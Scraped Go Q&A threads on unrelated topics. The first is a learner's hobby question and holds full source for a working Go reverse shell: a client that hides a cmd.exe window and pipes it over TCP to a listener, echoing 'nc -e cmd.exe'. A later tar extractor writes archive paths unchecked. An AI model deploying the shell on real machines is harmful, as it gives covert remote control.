I'm learning basics of golang and thought about creating simple reverse shell, something to mimic for example nc <ip> <port> -e cmd.exe. It is working somewhat but I want it to work better for example there is little encoding problem
This is output from my program some spaces and special characters like ążłć and so on and forth, and as you can see there is one line Directory of D:\Projects\gorevshell that should be third from top but is in the middle.
D:\Projects\gorevshell>dir
dir
Volume in drive D is DATA
Volume Serial Number is FA46-C237
02.05.2021 13:57 <DIR> .
02.05.2021 13:57 <DIR> ..
02.05.2021 09:56 289 .gitignore
01.05.2021 21:56 <DIR> .vscode
02.05.2021 13:18 3�089�920 client.exe
Directory of D:\Projects\gorevshell
02.05.2021 13:18 1�090 client.go
02.05.2021 13:57 2�877�440 main.exe
02.05.2021 13:56 883 main.go
02.05.2021 10:14 884 main.go.old
01.05.2021 21:25 12 README.md
3 Dir(s) 61�482�332�160 bytes free
7 File(s) 5�970�518 bytes
Or when executing powershell there is one trailing new line character
D:\Projects\gorevshell>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS D:\Projects\gorevshell> ls
ls
Directory: D:\Projects\gorevshell
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 01.05.2021 21:56 .vscode
-a---- 02.05.2021 09:56 289 .gitignore
-a---- 02.05.2021 13:18 3089920 client.exe
-a---- 02.05.2021 13:18 1090 client.go
-a---- 02.05.2021 13:57 2877440 main.exe
-a---- 02.05.2021 13:56 883 main.go
-a---- 02.05.2021 10:14 884 main.go.old
-a---- 01.05.2021 21:25 12 README.md
PS D:\Projects\gorevshell>
I think this line out of sync could be caused by the two gorutines that copy from pipe to stdout. But for the encoding problem I have no idea. The out of sync lines are quite random, but encoding errors are constant. How do I get rid of encoding problems and sync all the data? And all other tips are welcome. Thanks.
Server source code
package main
import (
"bufio"
"flag"
"fmt"
"io"
"log"
"net"
"os"
)
func main() {
//Flags
portPtr := flag.Int("p", 2137, "Listening port")
listenPtr := flag.Bool("l", false, "Server mode")
flag.Parse()
log.Printf("portPtr %d, listenPtr %t", *portPtr, *listenPtr)
//Start listenign on all on portPtr
conn, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", *portPtr))
if err != nil {
log.Fatal("Cannot bind to port")
}
//Accept incoming connection
listener, err := conn.Accept()
if err != nil {
log.Fatal("Cannot accept connection")
}
//Print connections address and port
log.Printf("Connection from: %s", listener.RemoteAddr().String())
shellPipeReader, shellPipeWriter := io.Pipe()
for {
//Copy data from listener(client, shell provider) to stdout gorutine to don't block code execution
go io.Copy(shellPipeWriter, listener)
go io.Copy(os.Stdout, shellPipeReader)
//get user input aka commands to execute
reader := bufio.NewReader(os.Stdin)
text, err := reader.ReadString('\n')
if err != nil {
log.Fatal("Cannot send message")
}
//send commands to listener(client, shell provider)
listener.Write([]byte(text))
}
}
Client source code
package main
import (
"flag"
"fmt"
"io"
"log"
"net"
"os/exec"
"syscall"
)
//function returns pointer to exec.Cmd object that is cmd shell
func Shell() *exec.Cmd {
cmd := exec.Command("C:\\Windows\\System32\\cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd
}
func main() {
//parse arguments
flag.Parse()
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", flag.Arg(0), flag.Arg(1)))
if err != nil {
log.Fatal("Cannot connect to the server")
}
//calling shell
shellCmd := Shell()
//creating pipes not mess up with buffering too much
shellPipeReader, shellPipeWriter := io.Pipe()
//standard in is binded to connection
shellCmd.Stdin = conn
//standard err and standard out are binded to writer pipe
shellCmd.Stdout = shellPipeWriter
shellCmd.Stderr = shellPipeWriter
//sending the output from shellPipeReader to connection, using gorutine to not block code execution
go io.Copy(conn, shellPipeReader)
//run the command
shellCmd.Run()
//Close connection after shell is dead
conn.Close()
}
Related
I have probably spent way to much time on this, so I decided to try here.
I'm having trouble figuring out why my Register is being called twice?
Best I can figure, it seems to be calling once at sql.Register() and again at sqlx.Connect(). But if I remove the sql.Register(), then theres no drivers.
Honestly, I am pretty new to GoLang, I'm hoping for any sort of direction here.
Code - w/o sql.Register
package main
import (
"fmt"
"database/sql"
"github.com/jmoiron/sqlx"
)
const (
host = "localhost"
port = 5432
user = "postgres"
password = "password"
dbname = "sampledb"
)
/*-------------------------------------------*\
|| Functions ||
\*-------------------------------------------*/
// Error Checking Fn
func CheckError(err error, str string) {
if err != nil {
fmt.Printf("Error # : %s\n", str)
panic(err)
}
}
/*-------------------------------------------*\
|| Main() ||
\*-------------------------------------------*/
func main() {
// Open DB Conn
psqlconn := fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s sslmode=disable", host, port, user, password, dbname)
// sql.Register("postgres", &pq.Driver{})
fmt.Printf(":: Drivers ::\n%s\n", sql.Drivers())
db, err := sqlx.Connect("postgres", psqlconn)
CheckError(err, "Main: sqlx.connect")
defer db.Close()
}
Error - w/o sql.Register
$ go run name-generator.go
:: Drivers ::
[]
Error # : Main: sqlx.connect
panic: sql: unknown driver "postgres" (forgotten import?)
goroutine 1 [running]:
main.CheckError({0xc84320, 0xc000056680}, {0xc6073f, 0x5})
C:/path/to/program.go:26 +0xa7 <--- Func CheckError(): panic(err)
main.main()
C:/path/to/program.go:40 +0x125 <--- Func Main(): CheckError()
exit status 2
Code - w/ sql.Register
package main
import (
"fmt"
"database/sql"
"github.com/jmoiron/sqlx"
"github.com/lib/pq"
)
const (
host = "localhost"
port = 5432
user = "postgres"
password = "password"
dbname = "sampledb"
)
/*-------------------------------------------*\
|| Functions ||
\*-------------------------------------------*/
// Error Checking Fn
func CheckError(err error, str string) {
if err != nil {
fmt.Printf("Error # : %s\n", str)
panic(err)
}
}
/*-------------------------------------------*\
|| Main() ||
\*-------------------------------------------*/
func main() {
// Open DB Conn
psqlconn := fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s sslmode=disable", host, port, user, password, dbname)
sql.Register("postgres", &pq.Driver{})
fmt.Printf(":: Drivers ::\n%s\n", sql.Drivers())
db, err := sqlx.Connect("postgres", psqlconn)
CheckError(err, "Main: sqlx.connect")
defer db.Close()
}
Error - w/ sql.Register
$ go run name-generator.go
panic: sql: Register called twice for driver postgres
goroutine 1 [running]:
database/sql.Register({0xa98bc9, 0x8}, {0xae6680, 0xc8a950})
C:/Program Files/Go/src/database/sql/sql.go:51 +0x13d
main.main()
C:/path/to/program.go:38 +0x11b
exit status 2
Additional Resources
Similar issue, but doesn't solve my problem Link
SQLX Documentation Link
SQL Documentation Link
The package github.com/lib/pq registers it's driver in an init function.
Remove the direct call to register the driver from the application:
sql.Register("postgres", &pq.Driver{}) <-- delete this line
Import github.com/lib/pq for the side effect of executing the init() function:
package main
import (
"fmt"
"database/sql"
"github.com/jmoiron/sqlx"
_ "github.com/lib/pq" // <-- add this line
)
I want to execute a powershell command in a docker container running on a windows host.
The specific command I want to execute is "powershell Get-PSDrive C | Select-Object Used,Free"
I have implemented this using the Docker API for python and it is simple like calling:
cmd = "powershell Get-PSDrive C | Select-Object Used,Free"
output = container.exec_run(cmd)
This works as intended, but I need to implement this in golang.
But somehow, it is not clear for me how to interact with the Docker API for golang. I looked into the API and was confused by the hijackedSession. How do I have to setup the calls for ContainerExecCreate, ContainerExecAttach and ContainerExecStart ?
I expect the golang script to deliver the same results like the python code does:
Used Free
---- ----
199181606912 307151622144
Which then can be parsed by me.
The HijackedResponse struct:
type HijackedResponse struct {
Conn net.Conn
Reader *bufio.Reader
}
You need to copy the response from the resp.Reader,here is my code:
package main
import (
"bytes"
"context"
"fmt"
"github.com/docker/docker/api/types"
"github.com/docker/docker/client"
"github.com/docker/docker/pkg/stdcopy"
"strings"
)
func readFromCommand() (string, error) {
cli, err := client.NewEnvClient()
if err != nil {
return "", err
}
ctx := context.Background()
config := types.ExecConfig{
Cmd: strings.Split("powershell Get-PSDrive C | Select-Object Used,Free", " "),
AttachStdout: true,
AttachStderr: true,
}
response, err := cli.ContainerExecCreate(ctx,
// container id
"cf59d65ab1", config)
if err != nil {
return "", err
}
execID := response.ID
resp, err := cli.ContainerExecAttach(ctx, execID, config)
if err != nil {
return "", err
}
defer resp.Close()
stdout := new(bytes.Buffer)
stderr := new(bytes.Buffer)
_, err = stdcopy.StdCopy(stdout, stderr, resp.Reader)
if err != nil {
return "", err
}
s := stdout.String()
fmt.Println(s)
i := stderr.String()
fmt.Println(i)
return s, nil
}
Do remember to change the container id.
I try to call vim within go program, which code similar to this:
package main
import (
"fmt"
"os"
"os/exec"
)
func main() {
err := exec.Command("vim", "a.txt").Run()
if err != nil {
fmt.Println(err)
}
os.Exit(0)
}
I ran go run mycode.go then got:
exit status 1
I have tried several ways to succeed this e.g. replace Run() by Start(), Output(), ..., but it seems not work. Finally, What I try to do is I try to call vim and stop my current go program. I just want to see vim appear, that's all.
In order for vim to render its interface, you need to attach the standard input/output streams to the process:
package main
import (
"fmt"
"os"
"os/exec"
)
func main() {
cmd := exec.Command("vim", "a.txt")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err := cmd.Run()
if err != nil {
fmt.Println(err)
}
os.Exit(0)
}
Not attaching the streams is similar to running the following command from your shell:
vim < /dev/null > /dev/null 2> /dev/null
I have a Go1.5.1 process/app. When I run /usr/sbin/lsof -p on that process, I see a lot of "can't identify protocol".
monitor_ 13105 root 101u sock 0,6 0t0 16960100 can't identify protocol
monitor_ 13105 root 102u sock 0,6 0t0 21552427 can't identify protocol
monitor_ 13105 root 103u sock 0,6 0t0 17565091 can't identify protocol
monitor_ 13105 root 104u sock 0,6 0t0 18476870 can't identify protocol
proc status/limit/fd
[root#Monitor_q ~]# cat /proc/13105/status
Name: monitor_client
State: S (sleeping)
Tgid: 13105
Pid: 13105
PPid: 13104
TracerPid: 0
Uid: 0 0 0 0
Gid: 0 0 0 0
Utrace: 0
FDSize: 16384
Groups:
...
[root#Monitor_q ~]# cat /proc/13105/limits
Limit Soft Limit Hard Limit Units
Max cpu time unlimited unlimited seconds
Max file size unlimited unlimited bytes
Max data size unlimited unlimited bytes
Max stack size 10485760 unlimited bytes
Max core file size 0 unlimited bytes
Max resident set unlimited unlimited bytes
Max processes 3870 3870 processes
Max open files 9999 9999 files
Max locked memory 65536 65536 bytes
Max address space unlimited unlimited bytes
Max file locks unlimited unlimited locks
Max pending signals 3870 3870 signals
Max msgqueue size 819200 819200 bytes
Max nice priority 0 0
Max realtime priority 0 0
Max realtime timeout unlimited unlimited us
[root#Monitor_q ~]# ll /proc/13105/fd/
lrwx------ 1 root root 64 Dec 7 00:15 8382 -> socket:[52023221]
lrwx------ 1 root root 64 Dec 7 00:15 8383 -> socket:[51186627]
lrwx------ 1 root root 64 Dec 7 00:15 8384 -> socket:[51864232]
lrwx------ 1 root root 64 Dec 7 00:15 8385 -> socket:[52435453]
lrwx------ 1 root root 64 Dec 7 00:15 8386 -> socket:[51596071]
lrwx------ 1 root root 64 Dec 7 00:15 8387 -> socket:[52767667]
lrwx------ 1 root root 64 Dec 7 00:15 8388 -> socket:[52090632]
lrwx------ 1 root root 64 Dec 7 00:15 8389 -> socket:[51739068]
lrwx------ 1 root root 64 Dec 7 00:15 839 -> socket:[22963529]
lrwx------ 1 root root 64 Dec 7 00:15 8390 -> socket:[52023223]
lrwx------ 1 root root 64 Dec 7 00:15 8391 -> socket:[52560389]
lrwx------ 1 root root 64 Dec 7 00:15 8392 -> socket:[52402565]
...
but there is no similar output in netstat -a.
What are these sockets and how can I find out what they do?
monitor_client.go
package main
import (
"crypto/tls"
"encoding/json"
"fmt"
"log"
"net"
"net/http"
nurl "net/url"
"strconv"
"strings"
"syscall"
"time"
)
type Result struct {
Error string `json:"error"`
HttpStatus int `json:"http_status"`
Stime time.Duration `json:"http_time"`
}
//http://stackoverflow.com/questions/20990332/golang-http-timeout-and-goroutines-accumulation
//http://3.3.3.3/http?host=3.2.4.2&servername=a.test&path=/&port=33&timeout=5&scheme=http
func MonitorHttp(w http.ResponseWriter, r *http.Request) {
var host, servername, path, port, scheme string
var timeout int
u, err := nurl.Parse(r.RequestURI)
if err != nil {
log.Fatal(err)
return
}
if host = u.Query().Get("host"); host == "" {
host = "127.0.0.0"
}
if servername = u.Query().Get("servername"); servername == "" {
servername = "localhost"
}
if path = u.Query().Get("path"); path == "" {
path = "/"
}
if port = u.Query().Get("port"); port == "" {
port = "80"
}
if scheme = u.Query().Get("scheme"); scheme == "" {
scheme = "http"
}
if timeout, _ = strconv.Atoi(u.Query().Get("timeout")); timeout == 0 {
timeout = 5
}
//log.Printf("(host)=%s (servername)=%s (path)=%s (port)=%s (timeout)=%d", host, servername, path, port, timeout)
w.Header().Set("Content-Type", "application/json")
res := httptool(host, port, servername, scheme, path, timeout)
result, _ := json.Marshal(res)
fmt.Fprintf(w, "%s", result)
}
func httptool(ip, port, servername, scheme, path string, timeout int) Result {
var result Result
startTime := time.Now()
host := ip + ":" + port
transport := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
DisableKeepAlives: true,
}
dialer := net.Dialer{
Timeout: time.Duration(timeout) * time.Second,
KeepAlive: 0 * time.Second,
}
transport.Dial = func(network, address string) (net.Conn, error) {
return dialer.Dial(network, address)
}
client := &http.Client{
Transport: transport,
}
rawquery := ""
url := fmt.Sprintf("%s://%s%s%s", scheme, host, path, rawquery)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
result.HttpStatus = -1
errs := strings.Split(err.Error(), ": ")
result.Error = errs[len(errs)-1]
result.Stime = time.Now().Sub(startTime) / time.Millisecond
return result
}
req.Header.Set("User-Agent", "monitor worker")
req.Header.Set("Connection", "close")
req.Host = servername
resp, err := client.Do(req)
//https://github.com/Basiclytics/neverdown/blob/master/check.go
if err != nil {
nerr, ok := err.(*nurl.Error)
if ok {
switch cerr := nerr.Err.(type) {
case *net.OpError:
switch cerr.Err.(type) {
case *net.DNSError:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "dns: " + errs[len(errs)-1]
default:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "server: " + errs[len(errs)-1]
}
default:
switch nerr.Err.Error() {
case "net/http: request canceled while waiting for connection":
errs := strings.Split(cerr.Error(), ": ")
result.Error = "timeout: " + errs[len(errs)-1]
default:
errs := strings.Split(cerr.Error(), ": ")
result.Error = "unknown: " + errs[len(errs)-1]
}
}
} else {
result.Error = "unknown: " + err.Error()
}
result.HttpStatus = -2
result.Stime = time.Now().Sub(startTime) / time.Millisecond
return result
}
resp.Body.Close()
result.HttpStatus = resp.StatusCode
result.Error = "noerror"
result.Stime = time.Now().Sub(startTime) / time.Millisecond //spend time (ms)
return result
}
func setRlimit() {
var rLimit syscall.Rlimit
err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rLimit)
if err != nil {
log.Printf("Unable to obtain rLimit", err)
}
if rLimit.Cur < rLimit.Max {
rLimit.Max = 9999
rLimit.Cur = 9999
err = syscall.Setrlimit(syscall.RLIMIT_NOFILE, &rLimit)
if err != nil {
log.Printf("Unable to increase number of open files limit", err)
}
}
}
func main() {
setRlimit()
s := &http.Server{
Addr: ":59059",
ReadTimeout: 7 * time.Second,
WriteTimeout: 7 * time.Second,
}
http.HandleFunc("/http", MonitorHttp)
log.Fatal(s.ListenAndServe())
}
There are couple of points here.
I was unable to reproduce your behavior, anyway, can't identify protocol is usually tied to sockets not being properly closed.
Some commenters suggested you don't have to create http client inside each handler - that's true. Simply create it once and reuse.
Second, I'm not sure why are you creating your own http.Client struct and why you're disabling keepalives. Can't you just go with http.Get ? Simpler code is easier to debug.
Third, not sure why are you overwriting transport.Dial function. Even if you must do it, the documentation (for Go 1.9.2) says:
% go doc http.transport.dial
type Transport struct {
// Dial specifies the dial function for creating unencrypted TCP
connections.
//
// Deprecated: Use DialContext instead, which allows the transport
// to cancel dials as soon as they are no longer needed.
// If both are set, DialContext takes priority.
Dial func(network, addr string) (net.Conn, error)
That comment about deprecation and lack of dials reuse may point to the source of your problems.
To sum up, when in your shoes, I'd do two things:
move client creation to the code which executes once, or just use default client with http.Get
I'd clean up this thing with overwriting default transport fields, if you must do it then I'd use DialContext as suggested.
Good luck.
I couldn't reproduce the issue. But here are my 2 cents (no pun intended)
Simmilar issue was found in SockJS-node noticed in an article https://idea.popcount.org/2012-12-09-lsof-cant-identify-protocol/ according to this issue was observed on FreeBSD. But the issue was "websockets are not bieng properly cleaned up"
Another test test I would like ou to do if you still have hands on same environment. If possible post wireshark logs. just to confirm there are not subtle things in network frames which may have caused this.
I am sorry I cann't install Go 1.5.1 just to reproduce this issue.
Hope this was helpful.
I'm brand new to powershell, and I'm trying to write a script to extract a .tar.gz file.
It requires 2 steps to unzip the file.
# Create a .tar file
7z.exe a -ttar files.tar *.txt
7z.exe a -tgzip files.tar.gz files.tar
# These 2 work
& 'C:\Program Files\7-Zip\7z.exe' e .\files.tar.gz
& 'C:\Program Files\7-Zip\7z.exe' x -aoa -ttar .\files.tar -o'c:\foobar'
I'm trying to combine these two commands into one command so that I can skip writing the files.tar file to disk.
However, when I try and combine the functions, I get the error message 'incorrect function'
Is there a way to combine these 2 7zip commands into 1?
& 'C:\Program Files\7-Zip\7z.exe' e .\files.tar.gz -so | & 'C:\Program Files\7-Zip\7z.exe' x -aoa -ttar -si -o'c:\foobar'
As you can see 7-Zip is not very good at this. People have been asking for
tarball atomic operation since 2009. Here is a small program
(490 KB) in Go that can do it, I compiled it for you.
package main
import (
"archive/tar"
"compress/gzip"
"flag"
"fmt"
"io"
"os"
"strings"
)
func main() {
flag.Parse() // get the arguments from command line
sourcefile := flag.Arg(0)
if sourcefile == "" {
fmt.Println("Usage : go-untar sourcefile.tar.gz")
os.Exit(1)
}
file, err := os.Open(sourcefile)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer file.Close()
var fileReader io.ReadCloser = file
// just in case we are reading a tar.gz file,
// add a filter to handle gzipped file
if strings.HasSuffix(sourcefile, ".gz") {
if fileReader, err = gzip.NewReader(file); err != nil {
fmt.Println(err)
os.Exit(1)
}
defer fileReader.Close()
}
tarBallReader := tar.NewReader(fileReader)
// Extracting tarred files
for {
header, err := tarBallReader.Next()
if err != nil {
if err == io.EOF {
break
}
fmt.Println(err)
os.Exit(1)
}
// get the individual filename and extract to the current directory
filename := header.Name
switch header.Typeflag {
case tar.TypeDir:
// handle directory
fmt.Println("Creating directory :", filename)
// or use 0755 if you prefer
err = os.MkdirAll(filename, os.FileMode(header.Mode))
if err != nil {
fmt.Println(err)
os.Exit(1)
}
case tar.TypeReg:
// handle normal file
fmt.Println("Untarring :", filename)
writer, err := os.Create(filename)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
io.Copy(writer, tarBallReader)
err = os.Chmod(filename, os.FileMode(header.Mode))
if err != nil {
fmt.Println(err)
os.Exit(1)
}
writer.Close()
default:
fmt.Printf("Unable to untar type : %c in file %s", header.Typeflag,
filename)
}
}
}
If you have python installed you can find this code handy:
$path = 'C:\yourPythonFile.py'
$str = "import tarfile",
"tar = tarfile.open(""C:/yourTarFile.tar"")",
"tar.extractall(""."")",
"tar.close()"
[System.IO.File]::WriteAllLines($path, $str)
cd C:\
python yourPythonFile.py